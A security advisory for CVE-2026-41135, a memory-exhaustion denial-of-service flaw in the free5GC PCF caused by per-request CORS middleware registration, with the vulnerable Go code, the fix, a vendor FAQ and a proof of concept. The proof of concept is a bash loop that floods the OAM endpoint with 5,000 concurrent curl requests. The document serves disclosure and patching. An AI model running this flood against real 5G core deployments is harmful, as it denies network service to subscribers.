CVE-2026-41135

A memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a router.Use() call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment.

Details

File: free5gc/pcf/internal/sbi/api_oam.go
Function: setCorsHeader(), called by HTTPOAMGetAmPolicy()

The function setCorsHeader() invokes s.router.Use() on every incoming HTTP request:

func (s *Server) setCorsHeader(c *gin.Context) {
    // BUG: router.Use() inside a handler, executes on every request
    s.router.Use(cors.New(cors.Config{
        AllowMethods:     []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"},
        AllowAllOrigins:  true,
        AllowCredentials: true,
        MaxAge:           CorsConfigMaxAge,
    }))
    // Redundant manual header setting
    c.Writer.Header().Set("Access-Control-Allow-Origin", "*")
    c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")
    // ...
}

func (s *Server) HTTPOAMGetAmPolicy(c *gin.Context) {
    s.setCorsHeader(c) // ← called on every GET /npcf-oam/v1/am-policy/:supi
    // ...
}

In the Gin framework, router.Use() appends a new HandlerFunc to the router's internal middleware slice. This operation is not idempotent, it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler:

Request N → [cors_mw_1 → cors_mw_2 → ... → cors_mw_N → actual_handler]

Since s.router holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of AllowAllOrigins: true combined with AllowCredentials: true also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak.

Fix: Move router.Use(cors.New(...)) to the server initialization function (called once at startup), and remove setCorsHeader() from all handlers entirely:

// ✅ server.go, called once at startup
func (s *Server) initRouter() {
    s.router.Use(cors.New(cors.Config{
        AllowMethods:     []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"},
        AllowOrigins:     []string{"https://trusted-origin.example.com"},
        AllowCredentials: false,
        MaxAge:           CorsConfigMaxAge,
    }))
}

PoC

Environment:

• free5GC v4.2.1 (commit df535f55, build 2026-03-04)
• PCF container IP: 10.22.22.6, port 80
• Attacker: any container on the same Docker network (tested from UDM container)
• No authentication required (OAuth2 disabled)

Step 1, Record memory baseline:

docker stats --no-stream | grep pcf
# Output: 24.86 MiB

Step 2, Launch flood from attacker container:

for i in $(seq 1 5000); do
    curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 > /dev/null &
    [ $((i % 100)) -eq 0 ] && wait && echo "[*] $i req sent"
done
wait

Step 3, Monitor memory growth:

watch -n 2 "docker stats --no-stream | grep pcf"

Results:

Memory never returns to baseline between request batches, confirming permanent retention by the router's middleware chain.

Vulnerability type: Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service.

Who is impacted: Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials.

5G service impact: The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents:

• New UE registrations (AM policy creation fails)
• New PDU session establishment (SM policy creation fails)
• Policy updates for existing sessions

In a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-41135 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41135? CVE-2026-41135 is a high-severity uncontrolled resource consumption vulnerability in github.com/free5gc/pcf (go), affecting versions < 1.4.3. It is fixed in 1.4.3. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-41135? CVE-2026-41135 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/free5gc/pcf are affected by CVE-2026-41135? github.com/free5gc/pcf (go) versions < 1.4.3 is affected.
4. Is there a fix for CVE-2026-41135? Yes. CVE-2026-41135 is fixed in 1.4.3. Upgrade to this version or later.
5. Is CVE-2026-41135 exploitable, and should I be worried? Whether CVE-2026-41135 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41135 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41135? Upgrade github.com/free5gc/pcf to 1.4.3 or later.